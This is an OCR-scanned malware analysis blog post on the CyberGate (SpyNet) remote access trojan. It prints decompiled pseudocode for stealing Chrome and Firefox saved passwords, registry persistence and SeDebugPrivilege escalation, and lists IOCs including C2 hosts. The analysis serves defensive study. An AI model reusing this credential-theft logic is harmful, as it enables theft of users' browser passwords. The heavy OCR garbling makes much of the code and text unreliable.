GetContactlist 00420708 7
f| Mozila3_sPassword 0041EADS 8
DHEntryPoint 00436348 [main entry]

In sub_420C04 the malware assigns the string
“‘SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders” to v8 and assigns
the string Local AppData to v7.

-
ud

v5[@] = NtCurrentTeb()->NtTib.Exceptionlist;

_ writefsdword(@®, vs);

System::_ linkproc_ LStrlAsg(&v3, &str SOFTWARE Micros[1]);// SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
System::_ linkproc  LStrlAsg(&v7, Local AppData);// Local AppData

sub_41E69@(HKEY CURRENT USER, vB, v7, @, a2);

_ writefsdword(®, vs[e]);

v = &loc_41ES55F;

return System::_ linkproc__ LStrarrayClr(&v7, 2);

)
S @000 W @

¥
==

PR R

Then it

« retrieves a specific value from the Windows Registry under a given key (Local

AppData) registry (SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders)

e Copies a file from “\Local AppData\Google\Chrome\User Data\Default\Web Data” to
TMP folder

e Opens an SQLite database named “\xOF TSQLiteDatabase”

e Loops through Database Query Results then Retrieves and processes the password
value, username_value, origin_url

o Decrypts data (pDataln) using CryptUnprotectData and stores it in pDataOut
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DA View-A 8 Pseudocodeh, Quput B [@ Hesx View-1 [x N EY] Structures B E Enums B Imports (x] Exports
[TF] Peeudocode-A =

System::_ linkproc__ LstrAddRef(a1);

V19 = &savedregs;

) = &loc_420DEF;

) = NtCurrentTeb()->NtTib.ExceptionList;

_ writefsdword(8, &v18

_ linkproc__ Lstrclr(a2);

__linkproc__ LStrasg(off_a3a8B4, vid);

sub_41E4F8(&str_Local_AppData[1], &v22); // Local AppData

System::__linkproc__ LStrCat3(&appdata_google_usrdata_webdata, v22, &str__Google_Chrome_[1]);// \lLocal AppData\Google\Chrome\User Data\Default\Web Data.
sub_41E664(&v21);

TickCount = GetTickCount();
sub_41E294(TickCount, 8);

System::__ linkproc__ LStrCatN(&tmp, 3, v2e[2], &tr_ tmp[1]);// .tmp
_tmp = System::__linkproc__ LStrToPChar(tmp);
appdata_geogle_usrdata .-:ebdata

__linkproc__ LStrToPChar(appdata_google_usrdata_webdata)s
if ( cupynle.u(apm»a google_us _1, _tmp, 8) )
LOBYTE(vE) = 1;

VB, tmp);

ROM 1[1]); !sub 41DBE4(i); sub 41E288(i) )

= sub_41DE2C(i, v9); —

pl:a aln.pbData = *(v18 + 4);

pDataIn.cbData = (**v1e)(v1e);

CryptUnprotectData(&pDataln, @, @, ©, @, @, &Datadut);

System::_ linkproc__ LStrFromPCharlen(&v27, pDataOut.pbData, pDataOut.cbData);
vil = sub_41DBF@(i, &str origin url[1]); // origin_url

sub_41E198(1, vil); ——
System::_linkproc_ LStrCatN(a2, 3, v12, vie[1], &str__ 3[1]);

v13 = sub 41DBF@(i, &str_username_value[1]);// username_value
sub_41F190(1, v13); —

__ linkproc__ LStrCatN(a2, 3, vi4, v2e[@], &tr__ 3[1]);

_ linkproc__ LStrCatN(a2, 4, v15, &str__ 3[1], &str___ 4[1]);

3
sub_41E448(tnp);

=
:I writefsdword(B, v18);

9 = &loc_42@8DF6;
0002011F sub_420C04:57 (420D1F)

In Mozilla3_5Password export, the malware gets Mozilla’s password

B pavewa Pseudocode-s [ Output B HexView-1 Stucwes @ | [F Enums

Imports (=] Exports

System::_linkproc__ LStrCat3(8<5, unk 438848, &str_plds4_dl1{1]);
v5 = System::_ linkproc__ LStrToPChar(va5);
LoadLibrarya(75);

linkproc__ LStrCat3(dvas, unk 438848, &str_nssutila dl1[1]);

linkproc__ LStrToPChar(vid);

vB);
System:: linkproc  LStrCat3(2.43, unk 438343, &str nss3 dl1[1]);
V7 = System::_linkproc__ LStrToPChar(v42);
Libra LoadLibraryA(v7);
NSS_In GetProcAddress(Librarys, "NSS Inlt"),
_DecodeBuffer = GetProcAddress(Libraryh, "NSSBase64_DecodeBuffer™);
rnalkeySlot = GetProcAddress(Libraryd, "PK11_GetInternalKeySlot");
uthenticate = GetProcAddress(Librarya, "PK1l Authenticate");
GetProcAddress(Li G PK11SDR_Decrypt™);
GetProcAddress( NSS_Shutdown™);
GetProcAddress( "PK11_Freeslot");
= GetCurrentProcess();
OpenProcessToken(CurrentProcess, 8u, &TokenHandle);
Windows: :ZeroMemory (Buffer, @x184u);
GetEnvironmentVariableA("APPDATA", Buffer, @x1@4u);
unknown_libname_69(8&42, Buffer, 261);
__linkproc__ LStrCat(8u42, &str_Mozilla Firefo[1]);// \Hozilla\Firefox\profiles. ini
@ = System::_ linkproc_ LStrToPChar(v42);
GetPrivateProfileStringA("Profile@”, "Path”, Default, ReturnedString, @x184u,
unknown_libname_69(8&48, Buffer, 261);
unknown_libname_69(&v39, Returnedstri
linkproc_ LStrCatN(&v4l
w12 = System::_ linkproc__ Lstrroxhar(,h)-
unknown_1ibname_66(&/35, 112);
open_SQLite_database(v29, "\x@FTSQLiteDatabase”);
v13 = unknown_libname_312("\x@FTSQLiteDatabase”, &str SELECT__ FROM m[1]);// SELECT * FROM moz_logins
if ( sub_41DBE@(v13) > @ )

N55Bases:

CurrentProce:

2);

- 3[1], &str_signons_sqlite[1]);// signons.sqlite

unknewn_libname_69(&v36, Buffer, 261);
unknown_libname_69(&v35, ReturnedString, 261);
:_linkproc__ LStrCatN(&37, 3, v14, &str_ Mozilla_Firefo_8[1], v35);// \Mozilla\Firefox\
= System::_ linkproc_ LStrTePChar(vi7);
IF ( (NS5 Tnit)(v15

_ linkproc__ LstrCat(al, 8);

_GetInternalkeyslot();

Authenticate}(v57, 1, 8) )
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System::_ linkproc__ LStr(at(al, 0);

}
else
{
V16 = sub_41DBE@(v13) - 1;
if ( vi6 >= 8 )
il
V54 = v16 + 1;
do
i

w17 = sub_41DBF@(v13, &str_hostname[l], v13);// hostname

sub_41E19@8(v13, vi7, &34);

System::_ linkproc__ LStrCatN(al, 3, v13, v34, &str___ 2[1]);

w19 = sub_41DBFe(v13, &str_encryptedUserna[l], v13);// encryptedUsername
sub_41E198(v13, , &usSE);

w28 = sub_41DBFe(v13, &str_encryptedPasswo[1], v13);// encryptedPassword
sub_41E19@(v13, v2@, &vS5);
w27 = unknown_libname_7@(v56
w21 = System::_ linkproc__ LStrToPChar(vse);
(NSSBase64_DecodeBuffer)(@, v51, v21, v27);
(PK11SDR_Decrypt)(v5l, O H

unknown_libname_66(&v33, v5@);

System::_ linkproc__ LStrCatN(al, 3, v22, v33, &str 2[1]1);
w28 = unknown_libname_7@(v55);

w23 = System::_ linkproc__ L5trToPChar(vs5
(NSSBase64_DecodeBuffer)(@, v51, v23, v
(PK11SDR_Decrypt} A
unknown_libname_66(&v32, v5@);

System::_ linkproc__ LStrCatN(al, 3, v24, v32, &str 2[1]);
sub_41E288(v13);

3

while ( v54 );

v25 = (PK1l_FreeSlot)(v57);

1

2nd Sample

Let’s go to the second sample

Sample Hash:0722a71d9251b626a8c066963a19fe6dh4711227c803afc40402c3a3e0fh51fd

It is the process that the malware injected malicious code in it which named server.exe

Data [1] Unexplored External symbol [l Lumina function

x IDA View-A (%] Pseudocode-A B © Hex View-1 8 Structures a #E Enums B Imports B &#
:A 34 [ dnt v31; // [esp+24h] [ebp-
35 dnt v32; // [esp+28h] =
36 dnt v33; // [esp+2ch] [
37| dint v34; // [esp+3eh] [ebp
38 | dint v35; // [esp+3dh]
39 [ dnt v36; // [esp+38h]
48 | dnt v37; // [esp+3Ch] [
41| dint v38; // [esp+adh] [
42| dnt v39; // [esp+ddh] [ 1
43| dint v48[5]; // [esp+4sh] [ebp-14h] BYR
44 | int savedregs; // [esp+5Ch] [ebp+@h] BYR
45
46 | sub_483418(dword_488684);
47 | w22 = &savedregs;
48 [1] = &loc_aBCeca;
49 v21[@] = NtCurrentTeb()->NtTib.ExceptionList;
58 [ _ writefsdword(®, v21
51| we = sub_4e3568(B, @, "_x X _UPDATE X x_");
52 | if ( GetlLastError() == 183 )
53
54 CloseHandle(ve);
55 Sleep(®x2EEBU);
56
57 | else
s | {
59 CloseHandle(ve);
st 68
v 61| w1 = sub_483568(@, @, " 3% X_PASSWORDLIST X x_");
62 [ if ( GetLastError() == 183 )
83| {
ZI 64 CloseHandle(vl);
65 sub_4@9AD4(van);
&6 sub_4@1814(R&dword_48F1EC, v48[@]);
67 if ( dword_4eF1EC )
68 {
59 V14 = sub_481058(dword 4BF1EC);
79 sub_405008(Lv30);
0000BO3€ start:57 (40BC3E)

X _0_exe[2];

So it’s just the parent sample but with removing upx layer

Anyway let’s go to the last sample
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3rd Sample

Sample Hash:1fd16ca095f1557cc8848b36633d4c570b10a2be26ec89d8a339c63c150d3b44

Creating 1st Mutex

First it creates mutex

MUTEX: ***MUTEX*** PERSIST

Debug  Tra

- 9O =

B g B o

W pump 2

S Shich O )

) 00
0D 1D
6D

44.dll - Thread: Main Thread

o

dword ptr Hide FPU

38440514

40514

Dump 4

00 00
10 1

ptr s

(ERROR_FILE_NOT_FOUI
TUS_NO_S!

(stdcall)
[esp+4] O10FF90
8] 1

esp+8
[esp+C] O

[esp+10] 0
[esp+14] 012

"_PERSIST"

012BCB68 | " _PERSIST"
010FF8B0
4046 4E 1fd16ca095f1557cc88

Achieving PERSISTENCE

In sub_14045240

The malware creates and set these registry keys

File Edit Jump Search

View  Debugger

Lumina

Options

@ o

Library function Il Regular function Ml Instruction | Data

7] Functions

0 & x

unction name
GetProcessHeap_0

Freelibrary_0
GetModuleFileNameA
GetModuleHandleA_0

GetCommandLineA
CloseHandle_0
CreateFilen_o
GetFileType

GetStdHandle
RaiseException
ReadFile_0_0
RtlUnwin
SetEndOfFile
SetFilePointer_ 0
UnhandledExceptionFilter
Writefile_0_0

CharhextA
CreateThread_0
ExitProcess_0
FindClose_0
FindFirstrileA_0
GetlastError_0
GetLocaleInfoA 0

~

Unexplored

Windows  Help

o off @ F v o @i X[ > @ O [rodebugger

External symbol [l Lumina function

1DA View-A Pseudocode-A B [@ Hex View-1 Structures E Enums Imports Exports

17 = sub_14003534("v1);
Calculate_string_length(8v65, v11);

Calculate_string_length(&v5
Reg_Create KEY(HKEY_LOCAL
}
12 = sub_14003534(*v1);
Calculate_string_length(&vs

, "Software\\Microsoft)
CHINES oot e e

Calculate. string_length(&vs

» "software\\Microsoft\ es\\Currentversion\ plorer\\Run");
Query_Reg(HKEY_CURRENT_USER, G Py
Compare_array_lengths(ves, *ue
if ((h3)
{

13 = sub_14003534(*v2);
Calculate string_length(&.60,

14 = sub_14003534(*v1);
Calculate_string_length(&v59, v14);

windows\\Currentversion\\Policies\\Explorer\\Run");
el R

Calculate_string_length(£55, "Software\\Microsoft)
Reg_Create_KEY (HKEY_CURRENT_USER s

}
If ( *off_14e4nsaC )

Calculate_string length(&/55, "StubPath®);

sub_14863388(8v54, &str_Software Micros_active_installed[1], *off_1484ABSC);// Software\Microsoft\Active Setup\Installed Components!
V1S = sub_1403534(v54);
Calculate_string length(&.55, v15)
Query_Reg(HKEY_LOCAL_MACHINE,
Compare_array_lengths (v57, *
if (W3 )
{
16 = sub_14803534(*v0);
Calculate_string_length(&/53, v16);
00044542 sub_1a04:

“vae, o, &vs

0:188 (1404s548)

ynchronized with IDA View-A)

£ output

14644B8C

using guessed type void "off_1464AB3C;
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\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\HKLM =
"c:\\dir\\install\\spynet\\server.exe"

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\
{H1EWWBPB-334P-45N1-UT28-6FOPHX81A73C}\StubPath =
"c:\\dir\\install\\spynet\\server.exe Restart"

Creating 2nd Mutex

Then It creates another mutex

MUTEX: ***MUTEX*** SAIR

RegDeleteKeyA(phkResult, vi8);
RegCloseKey(phkResult);

}
sub_14803388(&v40, *off_1484AC14, &str_ SATIR_2[1]%;// _SAIR
SAIR = sub_14@0 WEAD

CreatMutexA(d,

_SAIR_Mutex @, _SAIR);
if ( GetlastError() == 183 )
break;
CloseHandle( SAIR Mutex);
if ( !sub_14e@6C78(*we) || (v21 = sub_14886438(*v@), nNumberOfBytesTolWrite != v21) )
1

Process Injection

CyberGate creates thread

-- m e mmemmm mmm e immgey =y ey
9@ | if ( GetLastError() == 183 )

a1 ExitProcess(@);

92 CreateThread(@, @, sub_l4844C84, @, @, &dword_148537B3);
93 mmﬁa @, sub_14B451BC, @, @, &dword _14@537B8);

94 | TT [ TOTT_IZD4ACSC == 1 )

CEN

96 sub_148@15E@(@, &v42);
a7 sub_148@3488(*v3, v40);
98 if ( hvil )

a9 {

amn T L

Get the id of process

113 sub_146087728(v37);

114 }

115 }

116 | CurrentProcessId = GetCurrentProcessId();

117 | w13 = sub 14885C1C{CurrentProcessId};

118 | sub_14885B38(v13);

119 | sub 148867F8(&/36);

126 | sub 148833FC({off_l4@4AB24[@], 3, v14, w25, Excepticnlist, w36, &str  131[1], &str logs dat[1])};
121 | 4F ¢ *nFf 14Q48RAC == 1 %

Then it uses LookupPrivilegeValueA, “SeDebugPrivilege”

malware uses SeDebugPrivilege to get access to debug and adjust the memory of
processes owned by any user in the system
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ton [l Instruction | Data [ Unexplored = External symbol [l Lumina function

O & x IDA View-A 8 Pseudocode-A 8 B Hex Vigw-1 B @ Structures B =2 Enums [x] Imparts o & Exparts %]
= 1 [BoOL sub_14885838()
2
3| BOOL result; // eax
4| HANDLE CurrentPro
5| void *v2; // eb
6| unsigned int v3[6]; // [esp-Ch] [ebp-C4h] BYREF
7| struct _OSVERSIONINFOA VersionInformation; // [esp+Ch] [ebp-ACh] BYREF
8| struct _TOKEN PRIVILEGES MewState; // [ebp-18h] BYREF
9| DWORD Returniength; // [esp+Boh] [ebp-
10| wvoid *TokenHandle; // [esp+B4h] [ebp-4h] BYI
11 avedregs; // [esp+B8h] [ebp+@h] BYRE!
12
13 n.dwosversionInfosize = 148;
14 xA(8VersionInform
15 onInformation.dwplatformId
16
17 v3[2] = &savedregs;
18 v3[1] = &loc_14605BF5;
19 v3[@] = WtCurrentTeb()->NtTib.ExceptionList;
20 _ writefsdword(e, v3);
21 CurrentProcess = GetCurrentProcess();
22 OpenProcessToken(CurrentProcess, @x20u, &TokenHandle)s;
23 v2 = TokenHandle;
24 LookupPrivilegevalueA(@, "SeDebugPrivilege”, &Newstate.Privileges[@].Luid);
25 fl=wstate PrivilegeCount = T
% lewState.Privileges[@].Attributes = 2;
v| @27 Returnlength = 8;
> 28 AdjustTokenPrivileges(TokenHandle, @, &NewState, @, 9, &ReturnLength);
29 lewState.PrivilegeCount = 13
L lewState.Privileges[@].Attributes = 2;
0 e x 31 ReturnLength = 8;
32 AdjustTokenPrivileges(v2, @, &lewState, @, @, &Returnlength)s
33 CloseHandle(TokenHandle);
34 result = 8;
35 _ writefsdword(e, v3[e]);
36
37| return result;
00004F30 sub_14005B30:3 (14005B30) (Synchronized with IDA View-2)

Get local Time

In sub_14006BDO it fetches the current local time and stores it in the SystemTime
structure.

DA View-A [x] Pseudocade-A B @ Hes View-1 B @& Structures B B Enums (%] Imports B = Exports [x
=" 1[int _fastcall 5ub_14B@BBDA(_DWORD *al)

unsigned int v3[2]; // [esp-Ch] [ebp-28h] BYREF
4| dint *va; // 4h] [ebp-28h]

5| int vs; // [esp sh] BYREF

6| int v6; // [esp+Bh] [ebp-14h]

7| struct _SYSTEMTIME SystemTime; // [esp+Ch] [ebp-1@h] BYREF

8| int savedregs; // [esp+lCh] [ebp+@h] BYREF
E]

18

1 8;

12 &savedregs;

13| v3[1] = &loc_14806C5E;

14| v3[B] = NtCurrentTeb()->NtTib.ExceptionList;
15| _ writefsdword(®, v3);

16 | GetlocalTime(&SystemTime);

17 | sub_148@58BC(SystenTime.wDay, 8);

18| if ( sub_140@333C(v6) == 1 )

19

20 sub_1480588C(SystenTime.whay, @);
21 sub_14003388(a1, &str_@_3[1], v5);
22| %

23| else

24| {

25 sub_148@58BC(SystenTine.wbay, @);

}
¢| ® 27| _writefsdword(e, v3[6]);
28| va = &loc_14806C65;
29| return sub_148630AC(RvS, 2);

Checking windows version

In sub_14043A04 » sub_14043944

The malware checks for Windows version by checking dwMinorVersion

if it is equal to 1 that means that the windows version is:

Windows NT 3.1 or Windows XP or Windows 7 or Windows Server 2008 R2

CyberGate creates 3rd mutex SPY_NET_RATMUTEX
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Then the code sets up two threads
After that it creates 4th mutex x_ X _PASSWORDLIST X_x_

then executes a shell command using ShellExecuteA. If the result of ShellExecuteA is
greater than 0x20 (32), the following actions are taken:

e The program sleeps for 1000 milliseconds (1 second).
e The mutex handle MutexA_0 is closed using CloseHandle.

177 sub_140058BC(&v35, @, v23, @, v22);

178 reg_create_key(HKEY_CURRENT USER, &str_SOFTWARE_Micros_2[1], &str PIDprocess[1], v35);// SOFTWARE\Microsoft\ PIDprocess
179 *off_1404AC38 = CreateMutexA @(@, @, "SPY_NET_RATMUTEX");
186 CreateThread_1(v4@, v41l, lpStartAddress, v43, v44, v45);

}

CreateThread_1(wv46, v47, v48, v49[8], va49[1], w49[2]);
CreateThread 1(v49[3], v49[4], v4a[5], v4a[6], v43[7], w43[8]);
MutexA_B = CreateMutexA_0(@, 8, "_x_X_PASSWORDLIST X x_");

if ( sub_140@6C78(*v3) == 1 )

&

37 v49[8] = @8;

138 v49[7] = @;

189 vad[6] = 1;

190 sub_14883534(*v3);

191 if ( shellExecuteA(v49[6], v49[7], w439[8], v49[9], v49[18], v43[11]) > @x2@ )
192 {

193 Sleep(@x3E8u);

194 CloseHandle(Mutexd @);
195 T

196 | }

197 | while ( !*off_14@4AB14 )
198 sub_14828293( ) ;

199 | CleseHandle(*off_1484AB38);
CloseHandle(*off_1484AC38);
Sleep(@x2EE@U);

@82 [LABEL_34:

__writefsdword(®, v49[12]);
4| wvas[14] = &loc_1484674D;

85 | v25 = sub_14883BAC(&.35, 15);
5| sub_14B@2F24(v25);

0004555E D11EntryPoint:207 (1404€15E) (Synchronized with IDA View-X)

The last thing in our malware is this function

e . T— ]
Data Unexplored External symbol [l Lumina function
x DA View-A [ Pseudocode-A [ Pseudocode8 | PseudocodeC (£ B Hex View-1 (x| Structures | 3 Enums
S5 1 [int _ fastcall sub 14828268(MSG *1pMsg)
~ 2l
3 int v2; // ebx
5 v2 = 8;
6| if ( PeekMessageA(lpMsg, @, @, @, 1lu) )
= —
7l £
E] LOBYTE(v2) = 1
9 if ( IpMsg-rmessage != 18 )
o

11 TranslateMessage(lpMsg);
9H

12 DispatchMessageA(1lpMs
13 ¥

12| }

15 | Sleep(@xl4u);

16 return v2;

17

The function checks for a Windows message using PeekMessageA. If a message is found
and it is not WM_QUIT, the message is translated and dispatched Then it sleeps for 20
milliseconds to avoid busy-waiting and to give other processes some CPU time.

The function returns 1 if a message was processed, otherwise it returns O.
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I0Cs

Mutexes:

XX_PROXY_SERVER_Xx
_X_X_BLOCKMOUSE_X_x_
_X_X_PASSWORDLIST_X_X_
_X_X_UPDATE_X_X_
***MUTEX***
**XMUTEX***_PERSIST
***MUTEX***_SAIR
Hashes:
fa7166dclceOeal67556d47al6ce8d9chea652d6cef6b8873c78767ef9485e79
1fd16ca095f1557cc8848b36633d4c570b10a2be26ec89d8a339c63c150d3b44
0722a71d9251b626a8c066963a19fe6db4711227c803afc40402c3a3e0fb51fd
fc50ch7d6ch4118992363fchal4734641f526d5c574f4bfbdbed9e025a2072bbe
dbcl1le78c7644c07el178acd09bc3b02c230dba253dab5e45e5bchf4bel20a05bc
Network:

j230uy.no-ip.org:5007
j230uy.no-ip.info:5007
j230uy.no-ip.org:5000
j230uy.no-ip.org:5002
224.0.0.252
Files:
C:\\Users\\Admin\\AppData\\Local\\Temp\XX--XX--XX.txt
C:\\Users\\Admin\\AppData\\Roaming\\logs.dat
C:\\Users\\Admin\\AppData\\Local\\Temp\\UuU.uUu
c:\\dir\\install\\spynet\\server.exe
registry:
\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\HKLM
= "c:\\dir\\install\\spynet\\server.exe"

\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed
Components\{H1EWWBPB-334P-45N1-UT28-6FOPHX81A73C}\StubPath =
"c:\\dir\\install\\spynet\\server.exe Restart"

MITRE ATT&CK
TACTIC TECHNIQUE TITLE MITRE ATT&CK ID
Persistence Boot or Logon Autostart Execution T1547

Registry Run Keys / Startup Folder T1547.001

Active Setup T1547.014

Privilege Escalation Boot or Logon Autostart Execution T1547

Registry Run Keys / Startup Folder T1547.001
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TACTIC TECHNIQUE TITLE MITRE ATT&CK ID
Active Setup T1547.014

Defense Evasion Modify Registry T1112

Discovery System Information Discovery T1082

This blog is authored by Mostafa Farghaly(M4lcode).
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